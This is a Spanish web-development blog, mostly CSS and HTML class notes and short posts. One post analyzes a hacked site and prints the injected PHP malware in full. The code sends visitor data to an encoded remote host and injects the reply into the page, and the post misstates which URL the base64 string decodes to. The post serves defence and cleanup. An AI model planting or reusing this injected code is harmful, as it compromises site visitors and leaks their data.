Clase 2 – Aplicando estilos al documento Html con CSS

octubre 6, 2014

En la clase 2 hemos aplicado estilos CSS al documento html que editamos en la clase anterior.

Vimos en la primera clase que podemos escribir los estilos CSS directamente en el head de la página html. Lo hacemos, utilizando la etiqueta style, de esta forma:

<style>

etiqueta {regla_css;}

</style>

También es posible aplicar un estilo directamente en la etiqueta que queremos editar:

<p style=”font-weight:bold; color:red;”>Este texto está en negrita y es de color rojo.</p>

Esta no es la forma mas indicada de aplicar los estilos ya que siempre es mas conveniente separar al máximo la parte visual del contenido, aportando mayor flexibilidad y escalabilidad al documento. Por ejemplo, en un futuro quizás se desee cambiar la apariencia de la página si tener que meterse a editar el html. Esto será mucho mas sencillo si tenemos separados los estilos del html.

Para ello, editaremos los estilos en un documento externo al documento html y lo llamaremos utilizando la etiqueta link ubicada también en el head del documento html.

<link rel=”stylesheet” type=”text/css” href=”css/style.css” />

En el ejemplo que os incluyo al final de este artículo os encontraréis que en la carpeta css hay cuatro archivos .css. En el html sólo hacemos llamada a uno de ellos (style.css) que contiene estas tres lineas:

@import url(body.css);
@import url(estructura.css);
@import url(menu_principal.css);

¿Que estamos haciendo aquí?. Estamos importando reglas desde las hojas de estilo body, estructura, menu_principal y footer. Es un modo de mostrar como ordenar de una manera lógica los estilos de las distintas partes que pueden conformar un documento html. En el ejemplo que estamos utilzando quizás no tenga mucho sentido debido a su sencillez, pero cuando nos encontramos con documentos mas complejos puede resultar muy útil separar los estilos de las distintas partes del documento en sus correspondientes hojas de estilo.

En el ejemplo, hemos utilizado estructura.css  para definir las reglas de estilo de estructura del documento. En ella hemos definido la disposición de las distintas capas del documento (header, columnas, footer …). Las reglas de estilo para el menú principal las hemos definido en menu_principal.css.

Prestad atención al potencial del CSS para dotar de “dinamismo” a los elementos. En el menú hemos ocultado los submenus y hemos hecho que aparezcan cuando hacemos un hover sobre el elemento padre. Echadle un vistazo a menu_principal.css.

Vamos a desarrollar los distintos conceptos que hemos visto:

Selectores CSS

Selector de tipo o etiqueta

Selecciona todos los elementos de la página cuya etiqueta HTML coincide con el valor del selector. El siguiente ejemplo selecciona todos los párrafos de la página:

p { …}

Selector descendente

Selecciona los elementos que se encuentran dentro de otros elementos. Un elemento es descendiente de otro cuando se encuentra entre las etiquetas de apertura y de cierre del otro elemento. En el selector descendente, un elemento no tiene que ser descendiente directo del otro.

p span { color: red; }

En el siguiente ejemplo, el selector descendente se compone de cuatro selectores:

p a span em { text-decoration: underline; }

Los estilos de la regla anterior se aplican a los elementos de tipo <em> que se encuentren dentro de elementos de tipo <span>, que a su vez se encuentren dentro de elementos de tipo <a> que se encuentren dentro de elementos de tipo <p>.

Selector de clase

Los estilos se aplican se aplican sobre aquellos elementos que pertenezcan a la clase definida en la regla CSS:

.destacado { color: red; }

El selector .destacado se interpreta como “cualquier elemento de la página cuyo atributo class sea igual a destacado, por lo que solamente el primer párrafo cumple esa condición.

 

Selector de ID

El selector de ID permite seleccionar un elemento de la página a través del valor de su atributo id. Este tipo de selectores sólo seleccionan un elemento de la página porque el valor del atributo id no se puede repetir en dos elementos diferentes de una misma página.

 

El modelo de cajas CSS

En estructura.css es donde hacemos uso del modelo de cajas (box model) de CSS.

Ésta es una característica fundamental del lenguaje  CSS, ya que condiciona el diseño o layout de todas las páginas web.

El modelo de cajas es el comportamiento de CSS que hace que todos los elementos de las páginas se representen mediante cajas rectangulares.

Cada vez que se inserta una etiqueta HTML, se crea una nueva caja rectangular que encierra los contenidos de ese elemento.  Las cajas no muestran ningún color de fondo ni ningún borde por defecto. Esto son propiedades que podrán ser modificadas por CSS.

Las partes que componen cada caja y su orden de visualización desde el punto de vista del usuario son las siguientes:

  • Contenido (content): se trata del contenido HTML del elemento (las palabras de un párrafo, una imagen, el texto de una lista de elementos, etc.)
  • Relleno (padding): espacio libre opcional existente entre el contenido y el borde.
  • Borde (border): línea que encierra completamente el contenido y su relleno.
  • Imagen de fondo (background image): imagen que se muestra por detrás del contenido y el espacio de relleno.
  • Color de fondo (background color): color que se muestra por detrás del contenido y el espacio de relleno.
  • Margen (margin): separación opcional existente entre la caja y el resto de cajas adyacentes.

El padding y el margin son transparentes, por lo que en el espacio ocupado por el relleno se muestra el color o imagen de fondo (si están definidos) y en el espacio ocupado por el margen se muestra el color o imagen de fondo de su elemento padre (si están definidos). Si ningún elemento padre tiene definido un color o imagen de fondo, se muestra el color o imagen de fondo de la propia página (si están definidos).

Si una caja define tanto un color como una imagen de fondo, la imagen tiene más prioridad y es la que se visualiza. No obstante, si la imagen de fondo no cubre totalmente la caja del elemento o si la imagen tiene zonas transparentes, también se visualiza el color de fondo.

Echadle un vistazo al archivo boxModel.html que os incluyo en el enlace con los archivos de ejemplo al final del artículo.

Posicionamiento

Los navegadores crean y posicionan de forma automática todas las cajas que forman cada página HTML. No obstante, CSS permite al diseñador modificar la posición en la que se muestra cada caja.

Utilizando las propiedades que proporciona CSS para alterar la posición de las cajas es posible realizar efectos muy avanzados y diseñar estructuras de páginas que de otra forma no serían posibles.

El estándar de CSS define cinco modelos diferentes para posicionar una caja:

  • Posicionamiento normal o estático: posicionamiento por defecto.
  • Posicionamiento relativo: Posiciona una caja según el posicionamiento normal y después desplazarla respecto de su posición original.
  • Posicionamiento absoluto: la posición de una caja se establece de forma absoluta respecto de su elemento contenedor y el resto de elementos de la página ignoran la nueva posición del elemento.
  • Posicionamiento fijo: variante del posicionamiento absoluto que convierte una caja en un elemento inamovible, de forma que su posición en la pantalla siempre es la misma independientemente del resto de elementos e independientemente de si el usuario sube o baja la página en la ventana del navegador.
  • Posicionamiento flotante: desplaza las cajas  hacia la izquierda o hacia la derecha de la línea en la que se encuentran. La caja deja de pertenecer al flujo normal de la página, lo que significa que el resto de cajas ocupan el lugar dejado por la caja flotante. Desarrollaremos este tipo de posicionamiento en el siguiente punto por ser de los mas utilizados a la hora de maquetar una página html.

El posicionamiento de una caja se establece mediante la propiedad position:

Propiedad position
Valores static | relative | absolute | fixed | inherit
Se aplica a Todos los elementos
Valor inicial static
Descripción Selecciona el posicionamiento con el que se mostrará el elemento

El significado de cada uno de los posibles valores de la propiedad position es el siguiente:

  • static: corresponde al posicionamiento normal o estático. Si se utiliza este valor, se ignoran los valores de las propiedades top, right, bottom y left que se verán a continuación.
  • relative:  El desplazamiento de la caja se controla con las propiedades top, right, bottom y left.
  • absolute: El desplazamiento de la caja también se controla con las propiedades top, right, bottom y left. El origen de coordenadas del desplazamiento depende del posicionamiento de su elemento contenedor.
  • fixed: El desplazamiento se establece de la misma forma que en el posicionamiento absoluto, pero en este caso el elemento permanece inamovible en la pantalla.

La propiedad position no permite controlar el posicionamiento flotante, que se establece con otra propiedad llamada float. Además, la propiedad position sólo indica cómo se posiciona una caja, pero no la desplaza.

CSS define cuatro propiedades llamadas top, right, bottom y left para controlar el desplazamiento de las cajas posicionadas:

Propiedades top, right, bottom, left
Valores unidad de medida | porcentaje | auto | inherit
Se aplica a Todos los elementos posicionados
Valor inicial auto
Descripción Indican el desplazamiento horizontal y vertical del elemento respecto de su posición original

En el caso del posicionamiento relativo, cada una de estas propiedades indica el desplazamiento del elemento desde la posición original de su borde superior/derecho/inferior/izquierdo.

Si el posicionamiento es absoluto, las propiedades indican el desplazamiento del elemento respecto del borde superior/derecho/inferior/izquierdo de su primer elemento padre posicionado.

 

Posicionamiento flotante

Cuando una caja se posiciona con el modelo de posicionamiento flotante, automáticamente se convierte en una caja flotante, lo que significa que se desplaza hasta la zona más a la izquierda o más a la derecha de la posición enla que originalmente se encontraba.

La siguiente imagen muestra el resultado de posicionar de forma flotante hacia la derecha la caja 1:

Ejemplo de posicionamiento float de una caja

Figura 5.13 Ejemplo de posicionamiento float de una caja

Cuando se posiciona una caja de forma flotante: * La caja deja de pertenecer al flujo normal de la página, lo que significa que el resto de cajas ocupan el lugar dejado por la caja flotante. * La caja flotante se posiciona lo más a la izquierda o lo más a la derecha posible de la posición en la que se encontraba originalmente.

Si en el anterior ejemplo la caja 1 se posiciona de forma flotante hacia la izquierda, el resultado es el que muestra la siguiente imagen:

Ejemplo de posicionamiento float de una caja

Figura 5.14 Ejemplo de posicionamiento float de una caja

La caja 1 es de tipo flotante, por lo que desaparece del flujo normal de la página y el resto de cajas ocupan su lugar. El resultado es que la caja 2 ahora se muestra donde estaba la caja 1 y la caja 3 se muestra donde estaba la caja 2.

Al mismo tiempo, la caja 1 se desplaza todo lo posible hacia la izquierda de la posición en la que se encontraba. El resultado es que la caja 1 se muestra encima de la nueva posición de la caja 2 y tapa todos sus contenidos.

Si existen otras cajas flotantes, al posicionar de forma flotante otra caja, se tiene en cuenta el sitio disponible. En el siguiente ejemplo se posicionan de forma flotante hacia la izquierda las tres cajas:

Ejemplo de posicionamiento float de varias cajas

Figura 5.15 Ejemplo de posicionamiento float de varias cajas

En el ejemplo anterior, las cajas no se superponen entre sí porque las cajas flotantes tienen en cuenta las otras cajas flotantes existentes. Como la caja 1 ya estaba posicionada lo más a la izquierda posible, la caja 2 sólo puede colocarse al lado del borde derecho de la caja 1, que es el sitio más a la izquierda posible respecto de la zona en la que se encontraba.

Si no existe sitio en la línea actual, la caja flotante baja a la línea inferior hasta que encuentra el sitio necesario para mostrarse lo más a la izquierda o lo más a la derecha posible en esa nueva línea:

Ejemplo de posicionamiento float cuando no existe sitio suficiente

Figura 5.16 Ejemplo de posicionamiento float cuando no existe sitio suficiente

Las cajas flotantes influyen en la disposición de todas las demás cajas. Los elementos en línea hacen sitio a las cajas flotantes adaptando su anchura al espacio libre dejado por la caja desplazada. Los elementos de bloque no les hacen sitio, pero sí que adaptan sus contenidos para que no se solapen con las cajas flotantes.

La propiedad CSS que permite posicionar de forma flotante una caja se denomina float:

Propiedad float
Valores left | right | none | inherit
Se aplica a Todos los elementos
Valor inicial none
Descripción Establece el tipo de posicionamiento flotante del elemento

Si se indica un valor left, la caja se desplaza hasta el punto más a la izquierda posible en esa misma línea (si no existe sitio en esa línea, la caja baja una línea y se muestra lo más a la izquierda posible en esa nueva línea). El resto de elementos adyacentes se adaptan y fluyen alrededor de la caja flotante.

El valor right tiene un funcionamiento idéntico, salvo que en este caso, la caja se desplaza hacia la derecha. El valor none permite anular el posicionamiento flotante de forma que el elemento se muestre en su posición original.

Los elementos que se encuentran alrededor de una caja flotante adaptan sus contenidos para que fluyan alrededor del elemento posicionado:

Elementos que fluyen alrededor de un elemento posicionado mediante float

Figura 5.17 Elementos que fluyen alrededor de un elemento posicionado mediante float

La regla CSS que se aplica en la imagen del ejemplo anterior es:

img {
  float: left;
}

Uno de los principales motivos para la creación del posicionamiento float fue precisamente la posibilidad de colocar imágenes alrededor de las cuales fluye el texto.

CSS permite controlar la forma en la que los contenidos fluyen alrededor de los contenidos posicionados mediante float. De hecho, en muchas ocasiones es admisible que algunos contenidos fluyan alrededor de una imagen, pero el resto de contenidos deben mostrarse en su totalidad sin fluir alrededor de la imagen:

Forzando a que un elemento no fluya alrededor de otro elemento posicionado mediante float

Figura 5.18 Forzando a que un elemento no fluya alrededor de otro elemento posicionado mediante float

La propiedad clear permite modificar el comportamiento por defecto del posicionamiento flotante para forzar a un elemento a mostrarse debajo de cualquier caja flotante. La regla CSS que se aplica al segundo párrafo del ejemplo anterior es la siguiente:

<p style="clear: left;">...</p>

La definición formal de la propiedad clear se muestra a continuación:

Propiedad clear
Valores none | left | right | both | inherit
Se aplica a Todos los elementos de bloque
Valor inicial none
Descripción Indica el lado del elemento que no debe ser adyacente a ninguna caja flotante

La propiedad clear indica el lado del elemento HTML que no debe ser adyacente a ninguna caja posicionada de forma flotante. Si se indica el valor left, el elemento se desplaza de forma descendente hasta que pueda colocarse en una línea en la que no haya ninguna caja flotante en el lado izquierdo.

Si se indica el valor right, el comportamiento es análogo, salvo que en este caso se tienen en cuenta los elementos desplazados hacia la derecha.

El valor both despeja los lados izquierdo y derecho del elemento, ya que desplaza el elemento de forma descendente hasta que el borde superior se encuentre por debajo del borde inferior de cualquier elemento flotante hacia la izquierda o hacia la derecha.

 

Fuente:

http://librosweb.es/css/capitulo_5/posicionamiento_flotante.html

 

Web Fonts

Fijaros en que en el head también nos encontramos con una llamada a una hoja de estilos algo diferente a la anterior:

<link href=’http://fonts.googleapis.com/css?family=Roboto+Slab:400,300,100,700&#8242; rel=’stylesheet’ type=’text/css’>

Se trata de la carga de una hoja de estilos editada y almacenada en los servidores de Google, concretamente en la url fonts.googleapis.com. En ella se definen las reglas para la carga de la fuente “Robot Slab” y sus variantes.

@font-face {
  font-family: 'Roboto Slab';
  font-style: normal;
  font-weight: 100;
  src: local('Roboto Slab Thin'), local('RobotoSlab-Thin'), url(http://fonts.gstatic.com/s/robotoslab/v6/MEz38VLIFL-t46JUtkIEgKwsIWd7evfOerjO4J_CQWU.woff) format('woff');
}

@font-face es una regla CSS que permite descargar y utilizar la fuente elegida incluso si ésta no se encuentra instalada en el ordenador del visitante.

 

En el siguiente post hablaremos de las Web Fonts utilizando el método CSS @font-face.

Os recomiendo este libro Online para profundizar más en los fundamentos de las CSS:

http://librosweb.es/css/

Aquí os dejo el enlace a los archivos del ejercicio:

Ejercicios de la clase 2


Clase 1 – Estructura Básica de un documento html y etiquetas básicas

octubre 4, 2014

En esta primera clase hemos visto la estructura básica de un documento html así como sus etiquetas básicas.

Os recomiendo que echéis un vistazo a estas páginas en la que podéis encontrar un listado de éstas etiquetas y su uso:

http://www.virtualnauta.com/html-etiquetas-basicas

http://www.uv.es/cerveron/paginasweb/notashtml.html

 

En este enlace os dejo la teoría y  los documentos html del ejercicio que hemos estado viendo en esta primera clase:

https://drive.google.com/folderview?id=0B90oG5ORYQDKb3E1U3FXTEgzSG8&usp=sharing


Web Hackeada (BlackHole Exploit Kit)

diciembre 5, 2012

He estado estos dos últimos días revisando la web de un cliente que había sido Hackeada. Los antivirus de varios de sus usuarios les saltaban con el aviso de amenaza de tipo BlackHole Exploit Kit y abortaban la conexión.

Tras revisar el log del servidor y comprobar varias entradas por FTP de una dirección procedente de Canadá, revisé los archivos que parecían haber sido modificados por este intruso. En este caso, varios archivos index.php situados en distintos directorios del servidor.

En todos estos archivos se había incluido este pedazo de código PHP.

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER[‘HTTP_USER_AGENT’]); //  Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = “”;
if((strstr($sUserAgent, ‘google’) == false)&&(strstr($sUserAgent, ‘yahoo’) == false)&&(strstr($sUserAgent, ‘baidu’) == false)&&(strstr($sUserAgent, ‘msn’) == false)&&(strstr($sUserAgent, ‘opera’) == false)&&(strstr($sUserAgent, ‘chrome’) == false)&&(strstr($sUserAgent, ‘bing’) == false)&&(strstr($sUserAgent, ‘safari’) == false)&&(strstr($sUserAgent, ‘bot’) == false)) // Bot comes
{
if(isset($_SERVER[‘REMOTE_ADDR’]) == true && isset($_SERVER[‘HTTP_HOST’]) == true){ // Create  bot analitics
$stCurlLink = base64_decode( ‘aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==’).’?ip=’.urlencode($_SERVER[‘REMOTE_ADDR’]).’&useragent=’.urlencode($sUserAgent).’&domainname=’.urlencode($_SERVER[‘HTTP_HOST’]).’&fullpath=’.urlencode($_SERVER[‘REQUEST_URI’]).’&check=’.isset($_GET[‘look’]);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]==”O”)
{$sResult[0]=” “;
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}
}
?>

El texto codificado en Base64  aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA contiene esta dirección [http://hotlogupdate.com/stat/stat.php]

En este caso, el código es facilmente reconocible. En otras ocasiones el código incluido es un javascript ofuscado bastante mas dificil de detectar.

Si vuestra web es hackeada e infectada por este u otro tipo de código malicioso es recomendable que toméis las siguientes medidas aparte de eliminar el molesto código claro …

1. Cambiar las credenciales de acceso al panel de control del Alojamiento (plesk, cpanel …)

2. Cambiar las credenciales de la cuenta FTP

3. Revisar los equipos desde los que se ha accedido con la cuenta FTP cuyas credenciales parecen haber sido sustraidas en busca de algún tipo de Troyano que el hacker haya podido utilizar para sustraerlas.

 


Zapatop.com, tu zapatería en casa

noviembre 23, 2012

No es habitual que utilice este espacio para hacer publicidad de otros sitios pero este caso es especial.

Porque son profesionales, porque ofrecen un buen producto con una buenísima relación calidad-precio, porque son profesionales del calzado desde hace más de 30 años y, porque no, son muy buena gente y ademas familia, aquí va mi recomendación para todo aquel que quiera hacerse con calzado de calidad al mejor precio.

zapatop.com


Urls amigables (SEF Url) para VirtueMart 2.0.6

junio 28, 2012

Por todos es sabida la importancia de las url´s amigables  para el posicionamiento de nuestra web. En el caso de los sitios desarrollados con VirtueMart, ya existen varias extensiones que nos permiten convertir en amigables las url´s de nuestra tienda  (aceSEF, joomSEF, … ), pero la mayoría de estos casos solo merecen la pena las versiones de pago.

En realidad, si lo que necesitamos es simplemente convertir en amigables las urls de nuestro VirtueMart, basta con editar el router.php que podemos encontrar en /components/com_virtuemart.

Paul Mason publicó hace algún tiempo un router.php para hacer amigables las url del Virtuemart 1.x.x. Yo me he limitado ha realizar  las modificaciones necesarias para que este nos sirva en la nueva versión de Virtuemart (2.0.x), que presenta cambios significativos en la estructura de su base de datos con respecto a las anteriores versiones de VirtueMart.

Tan solo teneís que sustituir este archivo por el que se encuentra en: /components/com_virtuemart y en la configuración global  del Joomla activar el  “Search Engine Friendly Url” y  “use Apache mod_rewrite”. 

Recordad que tenéis que cambiar el nombre del  archivo htaccess.txt por el de .htaccess.

Descargar router.php para VirtueMart 2.0.6


Los números de 2011

enero 3, 2012

Los duendes de las estadísticas de WordPress.com prepararon un reporte para el año 2011 de este blog.

Los números del 2011. Gracias a todos  por leernos !!

Madison Square Garden puede albergar 20.000 personas por concierto. Este blog fue visto cerca de 69.000 veces en 2011 .Si fuese un concierto en el Madison Square Garden, se precisarían alrededor de 3 actuaciones para que toda la gente lo viera.

Haz click para ver el reporte completo.


Resolver problema con el inicio de sesión de Skype

mayo 27, 2011

Últimamente los usuarios de Skype nos estamos encontrando con problemas al iniciar la sesión. Esto afecta sobre todo a usuarios de Windows, aunque no deja de afectar a usuarios de otros sistemas operativos.

Os dejo un enlace para solucionar de forma rápida el problema.

http://heartbeat.skype.com/2011/05/problems_signing_into_skype_an.html


Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.